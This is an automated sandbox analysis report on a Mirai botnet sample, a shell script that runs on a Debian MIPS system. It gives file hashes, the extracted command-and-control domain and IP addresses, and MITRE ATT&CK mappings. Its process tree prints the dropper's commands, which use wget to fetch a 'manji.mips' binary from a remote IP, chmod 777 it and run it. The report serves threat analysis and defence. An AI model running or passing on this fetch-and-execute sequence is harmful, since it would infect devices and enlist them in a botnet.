mirai | 337e7d9d9b05864e8898ff5dbac782bfa349638490d32b5e0716765d925c2df7

Analysis

max time kernel
4s
max time network
5s
platform
debian-9_mipsel
resource
debian9-mipsel-20260127-en
resource tags

arch:mipselimage:debian9-mipsel-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/05/2026, 22:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
linux.sh
Size 2KB
Sample260511-2lnqlabs8w
SHA256 337e7d9d9b05864e8898ff5dbac782bfa349638490d32b5e0716765d925c2df7
MD5 cfc6846c015cff381e97428648603ba1
SHA1 0ac96b816f4b30854d3b04f6b504d7a063743a6d
SHA512 c0d201d2929f903148db48b3e5f7935e34a9ec1cbd8b659eee97d410cfc24b32412e294fd60b47e37e0a2ad89457a209d1b70fe1cf63615bc66422fd8d9311d6
TLSH
T17E518B6E2961B0DD5749C1FD635F3292A14304EB0375B5C83BBE9305AFB8620E46C323
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

cnc.504.su
89.190.156.145

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/manji.mips	758	linux.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
736	rm
739	wget
758	manji.mips

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/manji.mips	wget

/tmp/linux.sh
/tmp/linux.sh
1⤵
- Executes dropped EXE
PID:727
- /bin/uname
  uname -s
  2⤵
  PID:730
- /bin/uname
  uname -m
  2⤵
  PID:734
- /bin/rm
  rm -f manji.mips
  2⤵
  - System Network Configuration Discovery
  PID:736
- /usr/bin/wget
  wget http://156.238.242.196/manji.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 manji.mips
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /bin/sleep
  sleep 222
  2⤵
  PID:761

/tmp/manji.mips
./manji.mips
1⤵
- System Network Configuration Discovery
PID:758

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manji.mips

Path /tmp/manji.mips
Size 115KB
SHA256 1319fc34a179751881b02a64be28a48be30ec0aaef7100e964995d60ed478973
MD5 6000d7e19d4a22abf218eec3f36797d8
SHA1 c13dfecc8263cceaf88ed88db759b38d11d70ae1
SHA512 effe0e41ebfd6bb1a6b96af06da7e37644baf9160b18e75862aa2bece515344af953d3dc04734a7803f4bcac75fdd5c2db69fdba5a51ec347a41c62fcf35ddce
SSDEEP 1536:Nw4lPfv7d7Y/YLEdso1LVNyHvftEiAxfDIs1ISFl6Sae/NufhaR:blPfDdMDdso3sHvftaxfDIsRcS2haR
TLSH
T11AC3B91E6E21CFBEF65A837407F78E31965877D62AE1C585E16CEA400F502CD241FBA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download